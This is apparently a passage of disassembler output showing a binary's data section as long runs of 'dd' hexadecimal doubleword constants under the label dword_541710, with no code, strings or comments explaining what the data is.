		dd 0E94E5AACh, 80905863h, 23A6C5BCh, 0C6E94A01h, 0AC09627Fh
		dd 8403AF55h, 41B85107h, 0D2CAE24Bh, 0E90270FEh, 0F6B7BCB7h
		dd 3BFB7100h, 0B0873AE8h, 0F6023095h, 0B60952D0h, 72F008C3h
		dd 0ECA02D37h, 0FCC84D7Eh, 441658A4h, 13BEBC84h, 0B3FA8B9h
		dd 3065E668h, 0C5DA348h, 0E8C17DD5h, 31BE026h, 0C40AD8F7h
		dd 0FA442D00h, 0DF97E1E9h, 5FF91182h, 97A32F5h,	4954538Bh
		dd 0B240CE7Dh, 0A3F02609h, 0D3D69D5Dh, 0C27B8795h, 81AB70C4h
		dd 9DEAFB80h, 615E6E5Dh, 84180E9h, 0B6CBC560h, 11B2F76h
		dd 836AF3DAh, 0BDD17C75h, 0F2A64516h, 7AAC48DCh, 1D662CFFh
		dd 0D7D2672Ch, 0DF2D6EF9h, 90B0B6D5h, 0F92C0586h, 0B02902E9h
		dd 769F515Ah, 69B2DB63h, 54578EEAh, 0ABC901A4h,	22229A08h
		dd 9D58025Bh, 0E89294Eh, 0A367BF93h, 809FC6FCh,	0D695EAD1h
		dd 0E4058111h, 2B677A20h, 705D6B1h, 2468E7CCh, 0C9D66645h
		dd 29A725FFh, 0EAC13982h, 945D769h, 1E17988h, 0DE7FE8B9h
		dd 6E59402Bh, 7D4BA41Ch, 412A10A0h, 0D6BC7F09h,	616FDE17h
		dd 50B28BEh, 821E37ACh,	0E8AA8A51h, 80FDAFD6h, 46365A4Eh
		dd 640CC06Dh, 0E9DFE5DBh, 85094E5Eh, 3E917389h,	56129E99h
		dd 0CB894741h, 0F5096AD2h, 5E798E3Ah, 6069B57h,	0F60B6476h
		dd 7EA67D46h, 0B70A2A69h, 9BCA8ECh, 0CBFAF625h,	7427E8D3h
		dd 811F136Ah, 265066E6h, 14B73B73h, 258BFCB0h, 0C238D691h
		dd 72F502C4h, 0BBBD07E6h, 0A2420B26h, 5C55B739h, 0BF4E626h
		dd 3B21BE01h, 0DEF7578Bh, 0CDF5B43Ah, 705AA1A9h, 87400F09h
		dd 4EB1FA59h, 5125AFCBh, 0EF4E83EDh, 0BE4E058Eh, 0EE97478Ah
		dd 826E3F61h, 9E21A83Ah, 7A8C604Bh, 3ED40980h, 9E540CBBh
		dd 0B2021A29h, 0C06D0F4Ah, 647160B4h, 0B84EACC7h, 0CEFA5023h
		dd 174340Fh, 0F7EC8579h, 1895CEEEh, 0F3DFF2B6h,	0E41400FBh
		dd 3DC42D4Ch, 78B556AFh, 0A90782C4h, 5B996E5h, 316B4A05h
		dd 41D7FC4Dh, 5FA77C07h, 74C6A8F2h, 4676766Eh, 8390F931h
		dd 0E3C719C7h, 0AECFB030h, 6C691F34h, 0ADD852E9h, 0F7E0D6B3h
		dd 4D731241h, 5C1EAE69h, 142D82A8h, 0F84898B4h,	0A6F69784h
		dd 0BD72842h, 0EC6E0405h, 2B7DC466h, 0E9857C95h, 62BAAF17h
		dd 3ACA6B1Eh, 0B80067F7h, 4B24C82Ch, 87909208h,	0F759CA28h
		dd 2CD053DFh, 1C9B5AA3h, 4FDFD883h, 71DF11A9h, 8021423Bh
		dd 0C8327863h, 187B802h, 0F854B252h, 0FE2DB1F2h, 872757CAh
		dd 5AD00075h, 2C28C828h, 96258791h, 0DE3BEA21h,	0C1D8AF83h
		dd 4751950Bh, 0C2569A12h, 2DFF7E60h, 20781CDFh,	0DA95DA13h
		dd 10400C42h, 0C10C532Eh, 50AAA113h, 4D24045Dh,	0D55E80Fh
		dd 3D47E06h, 8919252Eh,	5B932F5Eh, 0AE0066B3h, 500EC356h
		dd 69DEDFE9h, 7EF45D53h, 1BA4180h, 3FFB36C5h, 9FDE0FECh
		dd 3849EF19h, 0F8DEE478h, 0F8F2312Dh, 12CF0D28h, 2FAA6256h
		dd 3F20B7F5h, 873C5DE9h, 39BE15Fh, 0E29907A7h, 3069405h
		dd 1FB740B2h, 0C11EF9E7h, 271F72D3h, 50EF56C7h,	5014048h
		dd 0C885FEBEh, 1729C629h, 25E43E10h, 0C91A5D5Ah, 8A2F4177h
		dd 0ACF51D3Bh, 82E98959h, 1BF50CA9h, 0D070D9CDh, 2C789473h
		dd 4EF6DB0Ah, 43FAFD49h, 8383652Eh, 4A88B463h, 2C92F868h
		dd 930B845Bh, 3D07E48Fh, 597CC201h, 137D5378h, 0FE240AB1h
		dd 276E0CBh, 2074D3E1h,	68604101h, 0E6582B59h, 0B7F2547h
		dd 41847FC0h, 8C5E014Eh, 8F652A1h, 2EE42FC3h, 1FE2C520h
		dd 874FDFF7h, 376965E7h, 26416F14h, 3076A004h, 0C403CB10h
		dd 54E91B64h, 53340574h, 0A378F468h, 3D8E00B0h,	0D15E3A8Ch
		dd 0DAE916E6h, 897FF9C0h, 2F7C4808h, 92759C6Ch,	89BBB5D0h
		dd 0B26D8FC9h, 7A94DF01h, 0CE9A6095h, 18EF0573h, 0EF4AD2F7h
		dd 49BE87h, 3650333Bh, 0B45B079h, 0B7B1BF0Dh, 29E71E43h
		dd 0E5540C10h, 89475C82h, 59B0CBFAh, 94B7E8FEh,	18B097D9h
		dd 86A05253h, 4A164166h, 2C095B32h, 816EFB14h, 16B15153h
		dd 0A2C27A88h, 1CA7C41h
dword_541710	dd 0E019BD2Dh, 2EB8211Dh, 0FE5B98CBh, 0CB899575h, 81EE700h
		dd 0F6755E12h, 7FAF04DCh, 88A42F6Bh, 2569B802h,	13FFBAB7h
		dd 5043CA7Bh, 0E3F89F64h, 28A34095h, 2F5E7EDFh,	77D60292h
		dd 9DC9A1D0h, 0E843B77Eh, 9BAAD59h, 0D6E0D22Bh,	2B989BB2h
		dd 5D6EFC2Fh, 87009132h, 0B2C980B6h, 0CF45419Dh, 0C42F4865h
		dd 3DCBBBA2h, 0B078158h, 9750A68h, 1F5F5B57h, 27CAA545h
		dd 0F75B9000h, 70E343D3h, 611475C6h, 2D83B8D1h,	0B032FFA4h
		dd 62A5218Fh, 3461986Dh, 0B9AD0A60h, 7B32209Ah,	8245913h
		dd 3385858h, 0A973BCDAh, 1120D82Ah, 36AC105Ah, 54B850C0h
		dd 231F7526h, 6BCBAA25h, 4BA25D5Dh, 3BF6D773h, 0E094094Fh
		dd 0BCE0684Ah, 47762567h, 4E61E958h, 819F219Ah,	4078002Ch
		dd 2354954Dh, 62376850h, 0BC8C3D15h, 0A1F80C64h, 0BC307A4Bh
		dd 649A832h, 0F2E9526Fh, 0EB4FEF28h, 9C40E1A9h,	39D9BDDFh
		dd 8EB52345h, 0C688168Bh, 0DB53E576h, 0C5E3EAF4h, 0CF3A1F5h
		dd 5946CF22h, 58E10816h, 6149D60Eh, 0CE3061F1h,	0B0A70F28h
		dd 37E95AF0h, 44D0A85Fh, 1FE47FF7h, 7CE8015Fh, 0BF7182A5h
		dd 5ABBEB16h, 48D70C2Eh, 4B8BE93Ah, 0DC9A91F3h,	8AB701C8h
		dd 0BE2CFBF5h, 0A82CAC0Bh, 8E0D6DF6h, 4B2E5C28h, 1D558B9h
		dd 4EFD2B08h, 0E0F1906Eh, 56137FBAh, 0B0BCD29h,	94C67DCAh
		dd 3290724Fh, 4B55439Ch, 1301FB36h, 0C9AABC60h,	28898C96h
		dd 42002D86h, 1452155h,	2BE957F0h, 1F137010h, 0C1CC1243h
		dd 0F8DD8740h, 0BC17BEF5h, 43FC2E3Ch, 9F82EBE5h, 8EE8F541h
		dd 0FD1212A7h, 0CE0E090Eh, 0C765D816h, 62B11730h, 8AF708F6h
		dd 0F5F98809h, 0CA2771FAh, 49DDF9CBh, 2F20351Ch, 0FB5A4A84h
		dd 5FC2EC27h, 804BD6A9h, 28B35351h, 7EE74CB1h, 9C4E1E04h
		dd 5DA254ACh, 0E9AB5E5Fh, 4FF84CDFh, 0D397F95Eh, 0BA204B04h
		dd 0D0E1141Ch, 79786789h, 0EE814601h, 423E5075h, 9D918D20h
		dd 0D5F0EAE6h, 74A60B5Bh, 3674856Bh, 7F89D769h,	351E3700h
		dd 1290018Fh, 0AE1D09E2h, 648B4944h, 7FC6ABE7h,	2EE1D902h
		dd 0D01187A4h, 0B2CBB456h, 0E230D701h, 50826858h, 385FE32Eh
		dd 0C35F4F71h, 7CA157D2h, 0F1C7F86Fh, 616BBA3Eh, 49E1550h
		dd 2CE405E5h, 23380362h, 6859C801h, 76A16DC2h, 6F814CE9h
		dd 40DFC428h, 0F475BA1Fh, 190B683Dh, 0E13B0D33h, 0A87BB5E5h
		dd 64B8C0B1h, 0F3191739h, 40CED964h, 4B09B9F5h,	867DA53Bh
		dd 0B5A16C5Fh, 0FCEA3CC0h, 0CA29E71Dh, 4C306BDh, 9F0C1A03h
		dd 0AB605DCAh, 0C7BC96E9h, 52920517h, 0C544F559h, 1AFE5576h
		dd 75A74699h, 0D9624723h, 7D682505h, 0B781AE27h, 0E006CF35h
		dd 57B741Fh, 5B0BF8D9h,	2DBF002Ah, 253C104Ah, 720F996h
		dd 0DE925B5Bh, 0B5FD78B3h, 0FD5A9951h, 0F1892C79h, 440E2253h
		dd 2425E523h, 548026Eh,	0C8503E1Eh, 0F71D7C60h,	9D5F68D6h
		dd 98BF52D9h, 0F3392099h, 4AA4033Ch, 5BDA21C4h,	2ACBE2C8h
		dd 9A07542Eh, 6624C510h, 85D182Fh, 25F14EB6h, 0C549F229h
		dd 8D506B02h, 0D86A2DADh, 0B2F79D33h, 4FFBDC53h, 2BB5A197h
		dd 0B0A19EBCh, 9A983BA3h, 0BC0B4B7Bh, 12C1D4F1h, 4EAD9FFDh
		dd 0BCAF0893h, 4FE7BE3Fh, 0FAC2ECF4h, 25CEB484h, 5546455h
		dd 0A3685FF9h, 0E58D623Eh, 7925B1D4h, 0E589B78Fh, 5954E087h
		dd 0E62CC4DEh, 2CC76ADh, 56260CA3h, 0C1052D78h,	7BA60BA0h
		dd 653A91E1h, 0FEB30E93h, 1BDA8004h, 0E1C6D71Dh, 5DBDA19Dh
		dd 97A5D82Ah, 0D1FD7628h, 3718F67Dh, 0E92339C9h, 0D1024E70h
		dd 8C258676h, 16B4500Ch, 55AE90E6h, 7143AB75h, 1C91394h
		dd 0FBA012CEh, 5DA01885h, 539A9D59h, 52974458h,	1C292038h
		dd 0F27891B0h, 4A6AE635h, 5C2CC2BDh, 36313EF8h,	6FEA3019h
		dd 0C4AB4C17h, 60C4FEDBh, 8DA115F8h, 0BA443E1Ah, 613A172h
		dd 0DF9D92Dh, 4641BE0Fh, 79C87701h, 1F080476h, 0AFA6E91Ch
		dd 0B9E88BD4h, 0E98968A7h, 88B9A171h, 0B62A59CAh, 0FF742EA8h
		dd 456CB881h, 897B125Dh, 0E8069740h, 0E5804985h, 255B892Dh
		dd 7D50C677h, 67FCC6A0h, 81661207h, 1A659AF2h, 0D9C21AABh
		dd 0D2545E5Dh, 62EA797Dh, 6051CA66h, 85407D93h,	533668BAh
		dd 0C281007Fh, 52A176Dh, 0CC9A51E9h, 0EB4828B0h, 4312273Bh
		dd 0D9FCF11Ch, 814CA349h, 65CBFAF1h, 0EBF00FE4h, 5F29912Ch
		dd 1D3AEEC2h, 49FE9460h, 0A8B77F1Fh, 0E9040802h, 49EFAA58h
		dd 21400969h, 482564BEh, 570722Bh, 0BC6ED4EEh, 251F906h
		dd 0BBFD4B46h, 0D23A4001h, 0C2D5828Fh, 1768820Bh, 22AE4E1h
		dd 720E19F2h, 66604A0Ch, 4FEE18B8h, 8EDF88C0h, 0E0E9D774h
		dd 826EB6C5h, 35F71008h, 58B5D45Dh, 0EC307779h,	0AB2EEC4Ch
		dd 1CA39A8h, 0C061AE4Bh, 0BF0564AEh, 7C1076B2h,	2CAC0B75h
		dd 13ABD4B8h, 4EB6F8CEh, 4D7CF7E6h, 55126879h, 7EF5BA54h
		dd 35D1816Fh, 27F268CCh, 593B5C88h, 0CB841402h,	83DE72ADh
		dd 50739BBFh, 69BBB8F8h, 2E81515Bh, 32030176h, 0CF308239h
		dd 2CB2FB3h, 28B2D3D9h,	3CFDD686h, 0F4B718A2h, 60A4A111h
		dd 8ACE8852h, 0CD084C4Fh, 0F71B8974h, 0B37D6B64h, 0D0FE304Ah
		dd 50B652ABh, 4ADBD09Fh, 0E18CABCDh, 0E6121F2Bh, 83054B0Fh
		dd 0B21C657Dh, 5D046C36h, 0B0AA3881h, 0B33343Ah, 53A9DB43h
		dd 0BDB51B60h, 0BC095582h, 0E7E6CD50h, 0DF60F7E6h, 83E9030Ah
		dd 0A95CBF8Eh, 0A2193747h, 585E031h, 0A618FF55h, 133C680Fh
		dd 4156EC3Fh, 371F8603h, 0C2B0007h, 0C1380CFCh,	981E05E5h
		dd 7B21AD12h, 823113AAh, 8B5F12BFh, 9F9E77E4h, 56EFE325h
		dd 75B36276h, 413A6C75h, 0B6F8201Eh, 34A6781Eh,	11719D8h
		dd 0BF7AD7CDh, 4842BD22h, 0B83DB2AAh, 358F43FAh, 468D675Ch
		dd 0F5C0C005h, 4C997785h, 0E928C33Fh, 685B0907h, 0F37E7394h
		dd 4325A5C0h, 0FBD0640h, 88D9B7F1h, 68525904h, 0B1A35AFAh
		dd 0F9220C0Eh, 0B193E944h, 93A87A05h, 0B9A218B2h, 89E4C381h
		dd 7CBEC2F6h, 553BBD84h, 6EF5D3C0h, 0B356F34Dh,	40DAE812h
		dd 5E41F1E2h, 0FD6385D0h, 67F71F6Fh, 0DF251BF4h, 0F9880EC8h
		dd 5BFC26B2h, 45A47CB7h, 9DF4ABF1h, 0FE73407Dh,	0C0EDF097h
		dd 3047F306h, 0F1F25BD9h, 5091F848h, 5C81F23Fh,	7FBABC2Eh
		dd 1421FC49h, 0C1897B84h, 88E2B151h, 0EE8AC13Fh, 1B800567h
		dd 18AAA7BBh, 1F299007h, 0C4BFAE63h, 7B2D3619h,	0C4B2B02Dh
		dd 0C6C05D7Eh, 424DB850h, 764C5844h, 0C0ADE916h, 7FA8BBECh
		dd 0B82AA301h, 103B88B5h, 2F67A47Fh, 2D34B75Fh,	0BADB0BB4h
		dd 651FEA17h, 0ABB82262h, 440DE2C8h, 361FC89Fh,	5FAF3DE8h
		dd 22C4F720h, 470A624Fh, 0A0A28FE9h, 0ED80CD83h, 65E88284h
		dd 7EE3AF34h, 0CDD8DE92h, 5F00A44Dh, 8624168Eh,	0D098BA0Ah
		dd 3D7B8B61h, 0F8C8B3C4h, 9BC55A0Eh, 8173D079h,	0E3918F7h
		dd 1DF04BADh, 32136C78h, 37F10628h, 33944EEEh, 8920B9BBh
		dd 3BCE5D5Bh, 5D69A894h, 0C50CA259h, 1CF1C79Ah,	0A75439FEh
		dd 48C13980h, 2A128212h, 1FF0B7E9h, 9073BD01h, 5ECBCC26h
		dd 8F528E0Dh, 0CA25F216h, 479B854Bh, 162CB8EAh,	768D9078h
		dd 4D1327F3h, 8A06954h,	5FE134D6h, 605A9D7Eh, 7F82762Eh
		dd 0F26E1340h, 0BD905B95h, 61DB2293h, 2617255Ch, 2C6509FCh
		dd 0C4845DD9h, 0B95FC005h, 5D4C3775h, 68560EC8h, 54713846h
		dd 0F34E9707h, 3645EF5Ah, 355393D0h, 80F6C604h,	5107B207h
		dd 0CEFEBCCAh, 0B08BBED9h
		dd 2D7727BEh, 0D8F6C8E1h, 0A946C03Ah, 4FB2C72Ch, 0E0716F20h
		dd 5B49EED0h, 4C11B378h, 0A7D94E7Fh, 0B7EC4FE8h, 21428B59h
		dd 7673DDD0h, 20164C2Dh, 4890DE14h, 421032B5h, 6122FC4Ch
		dd 6EFC73E9h, 16EFCE64h, 4E3DBB9Ah, 60C0F3B2h, 6870D054h
		dd 75499FF7h, 0F45DFA3Ch, 0A13854B2h, 9D947006h, 0AD503580h
		dd 905F45Eh, 4C0F3328h,	7827858h, 0A1685977h, 0F0D308DFh
		dd 0CBEA5E13h, 0C457E5Ch, 0E87A5FC5h, 43B89381h, 5F75710h
		dd 0F2235BBBh, 0C0A40B81h, 7EF50101h, 0E90B2ACFh, 0E9DE0EB2h
		dd 41895D5Ah, 82E0C5F7h, 690706B7h, 0F94DAAC0h,	5696F82Fh
		dd 0EBFB8900h, 6EE0C152h, 18BE5680h, 66CA558Eh,	6D1DEACEh
		dd 0F685718Fh, 59855022h, 0EBFC12ABh, 0F43EB9B5h, 0E9195303h
		dd 0C2CBE225h, 1740E230h, 0AF5D220Ah, 0D5D8B14Bh, 51042589h
		dd 9A44EFC0h, 16BFC788h, 6AD0F881h, 651AC90Ch, 0E2B4DE20h
		dd 0A046B727h, 8E9DD179h, 0BA52A073h, 4C0C412Bh, 0E1047535h
		dd 0AB3F9602h, 0A447B94Dh, 0F5C40930h, 0E2A42E57h, 4A535CE4h
		dd 908B59h, 625A94C1h, 0BA51E919h, 0E85E5C72h, 0D511D916h
		dd 0C5B0AE7Ch, 1FB49766h, 9EE9EE5Eh, 0C8958DC4h, 9D09EBECh
		dd 8069272Dh, 0A72A6832h, 0FCD3983Dh, 72883A73h, 5221E102h
		dd 60F5349Ah, 2C1AB374h, 0B9B42BF8h, 11DFBA4h, 490374Fh
		dd 1BA82A5Fh, 0CA02741h, 129A8333h, 0EB180AC2h,	1C6BF9B6h
		dd 1C4C05EBh, 4EA04D33h, 5267D1EBh, 0E0C93EFCh,	73253A40h
		dd 0E1764816h, 0A9D8520h, 1E1F2EA3h, 31500F44h,	453B88BBh
		dd 2FA7F155h, 6EDC2DFBh, 24E9AAF4h, 41F00115h, 473A19F3h
		dd 74E66087h, 8926A09Eh, 0EA1C05FAh, 4452F35Ch,	0F2DCFA0h
		dd 5186223Ah, 505F005h,	0FA68E907h, 1693F629h, 0FFC6CC1Ch
		dd 0F235A34Fh, 72E45E82h, 0B670164h, 0F729C4ABh, 0D0B92F5Eh
		dd 77E28180h, 0FBDD40Fh, 57A3A10Ah, 0EC6A31C7h,	0F30785ECh
		dd 0AE0A3131h, 6882777Ch, 3ED3078Ah, 0BFA42C8Ch, 49880CEFh
		dd 910C7AEEh, 20221A1Fh, 6B73E707h, 0B187786h, 1EE4391Bh
		dd 0C8FFAA03h, 0BFE94197h, 2FE6359Bh, 0F495A7E0h, 0CCAB4BCAh
		dd 0BA9252A6h, 5958ECE0h, 0F6E60E25h, 5AF483D6h, 827DDB80h
		dd 44CB76E3h, 4A02EC65h, 7E65DDBBh, 0BB9300E8h,	61ACE32Ch
		dd 0ADEB3BDDh, 7F6F21B7h, 605218F0h, 9BC21D62h,	0FDB03C6Fh
		dd 2FCF5920h, 0F7D0E188h, 0D5D4B635h, 1A144EA8h, 0F381D860h
		dd 2F7607C8h, 81522706h, 4D529796h, 0B9A7E913h,	0CC93A2BCh
		dd 0D8532A0Eh, 2BBB4FCAh, 10A142C6h, 8B48B619h,	1C2D080Bh
		dd 8D5AFD02h, 338C6801h, 6AE48C3Ah, 0D5C3FA60h,	26454D5Ah
		dd 0A60DDF7h, 0B0826FBAh, 6AFB2AE8h, 97A5F09Fh,	5456F55Eh
		dd 7288CDCAh, 590A27D9h, 7B173571h, 0D5F7A245h,	0E98407A2h
		dd 4EE7A835h, 0A4BDEFB8h, 290E2308h, 0DC340A21h, 0E232B202h
		dd 5B80821Dh, 1CC90BEh,	60B12E3Fh, 53FE03F3h, 0E6B05594h
		dd 31304FB0h, 4B04483Dh, 4E097810h, 0AFCCAFD6h,	7DC829E9h
		dd 487FBCCFh, 30C9625Dh, 0E455BA7Fh, 8F8D516Eh,	5435B866h
		dd 6EAA822Dh, 803AB100h, 289124F1h, 3DFA250Ch, 4AE9AB13h
		dd 0C5278EEDh, 5CA563F6h, 8FE808EEh, 2C16B226h,	0E67FAAE1h
		dd 0F6AF92CFh, 0C266C540h, 1CF72FA4h, 6F336412h, 1C4A9AF2h
		dd 0CE1BF0E9h, 1DD96359h, 4B6623F2h, 0BF887D88h, 9755D5C2h
		dd 0D6B2A8D5h, 0FD1D047Fh, 89830BFEh, 0BBA3D521h, 5E9E22D3h
		dd 0E6742827h, 2476FAABh, 253E2DF7h, 53DE0F2Bh,	93F10BDh
		dd 5504D94Ch, 401CFB4Eh, 0B50AFC3h, 4894B1Eh, 13DB2DF1h
		dd 6C1D8802h, 0EDB3825Fh, 8C4C5F0Bh, 0D69E604h,	0C10A012Ah
		dd 2E962608h, 8AF92D6Eh, 0A1693059h, 0A5B0310h,	0C8355C68h
		dd 16893C88h, 1015BC5Dh, 0F713EC94h, 3FB01DAh, 0F5487A4Eh
		dd 9FC82BF4h, 1EBB3D3Ah, 0BEE83112h, 0C1164CCAh, 0D1CFA058h
		dd 0AD95025Ah, 164BD4ABh, 5742AFCDh, 758CECE9h,	2FC3CF20h
		dd 0FD4E2B19h, 37E9F188h, 6423D210h, 7A48A138h,	772FF1CAh
		dd 87660E05h, 4A683108h, 0B1A77A4Ch, 615A8110h,	615D68A5h
		dd 95B2B22Eh, 0D562DAB2h, 0E98719E7h, 7F0B0160h, 0DD8B3EE7h
		dd 0A096517Fh, 81B988E3h, 272516E3h, 4D1CEF45h,	79762CC4h
		dd 0BB3780BFh, 362D0F43h, 80C0FE3Dh, 4E088FC5h,	0DD580112h
		dd 6C08414Ah, 9121D2BEh, 0B101BF5Eh, 0BEC1C112h, 3E725B5h
		dd 81C92D99h, 0C8C42968h, 5907A105h, 852BE67Bh,	0F6EFA85Bh
		dd 0F9F7C5C0h, 0F4D005C4h, 0E7DECF80h, 0C40826ECh, 1E05EB1Ah
		dd 86D7DB5Dh, 0DE351040h, 0A0679B49h, 2F0B6F9Eh, 79280E2Fh
		dd 55580908h, 820E5175h, 6F21E9C5h, 0BE839971h,	0A035D14Ah
		dd 4BE14616h, 3EF2A117h, 0CF10CEC1h, 5C755C02h,	6025625h
		dd 0F73EA010h, 0E98840D2h, 9827F639h, 418B0BF6h, 0C20969D7h
		dd 0C7625955h, 6863E181h, 0D021C8CDh, 0C620C3A4h, 82509F80h
		dd 5C84C354h, 84EBFEBFh, 0E2290668h, 5D445EDFh,	32BAB07Eh
		dd 0D8F56D92h, 93FCB70Ah, 49380452h, 562FBCECh,	0F60F8778h
		dd 0A913D22Dh, 9DEDD08Eh, 215248F9h, 0DF568F2h,	5260E377h
		dd 5A08642Ah, 0CC4DE913h, 96EEC894h, 5920E6E6h,	6B2B9ADFh
		dd 84FF47C9h, 0E0909F96h, 0F037C780h, 10BB5AAh,	0F8586604h
		dd 29499F36h, 92397503h, 7D5E2053h, 6C627994h, 17E675F6h
		dd 0A103C34Fh, 85742068h, 0D3D1E2EEh, 5663E909h, 6FF22C23h
		dd 130C7A44h, 538AED02h, 0C6E9E1E5h, 81A95E3h, 0C4EAD71Ch
		dd 8049F959h, 0C73DDA0Eh, 92B0BD50h, 64126020h,	0F5130972h
		dd 0E1EB1C43h, 37A8B3Ch, 2F0FCB11h, 1C1D0437h, 0ED92BFDDh
		dd 0F86E29B1h, 0A1E3F569h, 0AF580316h, 455A129Ch, 69ADD98Bh
		dd 0E20A7CF2h, 0E32BD168h, 3F404502h, 26C0F502h, 0CDA878E4h
		dd 31C07BF3h, 7C259CEDh, 16D69D61h, 6E4F5042h, 6B9CA88Eh
		dd 0E9300BA1h, 6CDDA755h, 0C24A4FE0h, 565F503Dh, 6CAE5982h
		dd 0D5880B12h, 5F485D5Ah, 0EB1EFABFh, 0DA8CBA2Bh, 70C3EB99h
		dd 4F85F28Fh, 0AC35EF57h, 65315A00h, 8162C3h, 0F469B1F1h
		dd 25E9495Ah, 4FFE3D3h,	0ADD989DFh, 0E0B38B6Fh,	0FC28020h
		dd 0D328588Dh, 3017176Dh, 32161F91h, 7FE813B0h,	0FDFD0613h
		dd 0AEF87793h, 6506F497h, 2096BDF8h, 3FEE00E6h,	53DD83B1h
		dd 9B0F389h, 61D3E978h,	0F72F58F1h, 0DAAA4F65h,	0C8B6021Eh
		dd 7778CF68h, 0C097C3CCh, 61796B8h, 2D586A49h, 0E9250D92h
		dd 0FBA0C9A3h, 29A1613Fh, 0E96DFC46h, 0FF6A7112h, 92B7A3BBh
		dd 508B7DEDh, 0F6600A2Fh, 573B203Fh, 63CB0CC1h,	0C702913h
		dd 0D71501C6h, 6BE9ECA5h, 0F7B007E3h, 5E841E04h, 0E2130B3Fh
		dd 0E3C164A1h, 5096003h, 625E221Fh, 4EF1C792h, 0E18B4B32h
		dd 0B6EE0986h, 0F58E4127h, 3E824039h, 55E0354h,	1CA0D34h
		dd 708E794h, 0A0D2255Bh, 0E917FAFEh, 0A0E4DD53h, 45C96525h
		dd 21D6FBC2h, 74090C0Ch, 567C5491h, 38FE22D2h, 974EE944h
		dd 585ADDC2h, 0A760BDEDh, 239D1867h, 0CB4FFC31h, 0D83C2513h
		dd 5B5A2C70h, 0FDA07F86h, 4A90E370h, 4C09A805h,	8B506A1h
		dd 274F6AE2h, 0D4307319h, 0D6BFAB2Ah, 0A5244F24h, 3C2EB9FBh
		dd 0BC6C4119h, 4BD90713h, 9BD71016h, 0F919FA24h, 15B580A9h
		dd 0D087E580h, 14E4ED75h, 0B876E91Ah, 497A76E1h, 1768D504h
		dd 55A409EAh, 29205B50h, 0F9399048h, 72B0FE04h,	0CA201D79h
		dd 0DCCF8103h, 8770FB59h
		dd 0C668A018h, 16783F7h, 696AE7F0h, 23374847h, 0F4BE5504h
		dd 37C2AB7Dh, 69D0552Dh, 98AE925h, 0AC5977E9h, 4A556842h
		dd 0EEF64184h, 0DB30B52Fh, 0F57953C7h, 0F0B44225h, 99DF955Bh
		dd 9102EF03h, 875E5848h, 9EA114BFh, 413830AFh, 595AD75Eh
		dd 130642E4h, 0BF7477E9h, 7C08AA36h, 0FE2BFDC0h, 892910Eh
		dd 8AEF0FCFh, 0B9CBEEA5h, 0C0A13B1Fh, 0FDFE952Dh, 1FAACB3Ah
		dd 72EDCB07h, 0F4AD46F5h, 0B5E992D3h, 32FA68F8h, 0F4940B95h
		dd 37CB5AA5h, 5E52589Ch, 0F53180FEh, 7F69B0B9h,	706100Ch
		dd 80554297h, 706B82DEh, 0F45EB560h, 939CD5ADh,	827CD2A1h
		dd 0C8E857D1h, 70A275D8h, 0C5F504EDh, 0C0F812E4h, 0F651B3CBh
		dd 0EBC0D31Fh, 0C5C3FECFh, 52FBF1DCh, 30B7A019h, 7A26A13h
		dd 741E6ECh, 671DBF71h,	9C21FA3Ah, 9D6466E9h, 5FF577B1h
		dd 5717FB7Bh, 3A5B3DFFh, 0AA5674EAh, 0E366A098h, 43595A02h
		dd 11EF6841h, 0EC10D953h, 1B605D0Bh, 0E30417DEh, 5AD6894Dh
		dd 1203F9EEh, 0C5EF05ADh, 27370176h, 3B606B2Fh,	0F9E07FC7h
		dd 9850AF07h, 0FE4E136Dh, 7BCE130h, 3D11CA07h, 60241E51h
		dd 0BF4777E9h, 800189E7h, 0C8E9D6F1h, 39E4F9FAh, 1A32E2A6h
		dd 90742408h, 2FB07569h, 4EB9EDBCh, 0C6941D0Bh,	64A32477h
		dd 9CF28017h, 12E53A4h,	39FF544Bh, 0FED404F8h, 7DE9A041h
		dd 0ECC6FF53h, 69E9B797h, 0BD1D806Fh, 32400E6Ah, 17E50481h
		dd 8331203Dh, 939F07CDh, 0E0B7D102h, 0C04AC6F5h, 0E1FC2D76h
		dd 0C4F80613h, 204AF5BAh, 1502F1C2h, 0E9680844h, 0C84CD7D1h
		dd 7CB775FAh, 0F866FA15h, 1B5D3598h, 17012083h,	0BD5FF168h
		dd 5D9525E6h, 6817119Ch, 0A7B651CBh, 12A28A5Bh,	2DBA6853h
		dd 70D9FDD1h, 1C9775C0h, 2D4EA404h, 3987B52h, 60827116h
		dd 9C3D35C1h, 52B7E2CAh, 0A6685500h, 0C2D9B767h, 68702CC4h
		dd 0F5C44321h, 0A9F45D61h, 542616CEh, 25850139h, 206E3831h
		dd 0E11E9CBCh, 4CD97ABh, 0AC6E91F2h, 87748DF8h,	0DF14B1CFh
		dd 11108F3Bh, 873F97A3h, 57A0E7CCh, 2152BD68h, 0F6E90962h
		dd 552C6A5h, 4BF353CFh,	0C1BF1F4Dh, 2134DE12h, 38C97AD5h
		dd 7D9342F6h, 1E5938F9h, 0BC75AB2Fh, 0C0C20039h, 864D32D5h
		dd 890F5CB7h, 0FB8BC05Bh, 14A2EC04h, 0F568045Ch, 58C2E349h
		dd 0D3012330h, 0C2656EE1h, 0EFDD5E7Dh, 0A4BDAEEh, 0C5A2626Bh
		dd 51BFC11Bh, 1E03F33Ah, 359F7C66h, 77B0E157h, 5ECA2F80h
		dd 0AF9F6276h, 9A80A257h, 51C932Dh, 0F8010B32h,	0E9070505h
		dd 686CE0C4h, 0C604432Fh, 25F47AE3h, 0E4DD4488h, 0F00CDD5Ah
		dd 0C878E919h, 55E96099h, 90C6FDA2h, 50ADB9D3h,	4AE74161h
		dd 0E54D356Ah, 0E183D609h, 68C4599Bh, 0FF5A4838h, 0B48D91D7h
		dd 59617A5Bh, 97A71CE9h, 232361D5h, 0FF565592h,	52E9436Ch
		dd 0C320B896h, 25833159h, 42555629h, 500794FEh,	84071A63h
		dd 0ACCBACEEh, 27179E0Ah, 9574777h, 5FD350D1h, 0CE1E55A7h
		dd 44B2D795h, 7B6BD820h, 61900E21h, 15F5EA17h, 0BA6732FCh
		dd 70ED52D3h, 0FBDC00D5h, 6B65FA04h, 40060246h,	41FFD774h
		dd 6AF5E3A1h, 0D896ACA8h, 0C7402546h, 0F3892759h, 81A0D8E5h
		dd 44452809h, 0BE70753Eh, 7FE90880h, 7F410BBDh,	46042733h
		dd 44F2102h, 0DF7307FEh, 0E927304Ch, 0A5BC796Ch, 217F4999h
		dd 0D5F95DF1h, 0AA4AAD78h, 0A12B55D2h, 67F468A6h, 3C17A936h
		dd 48C38F95h, 0F2F769A8h, 0B8CF00F9h, 0F22970BBh, 0CA16015Eh
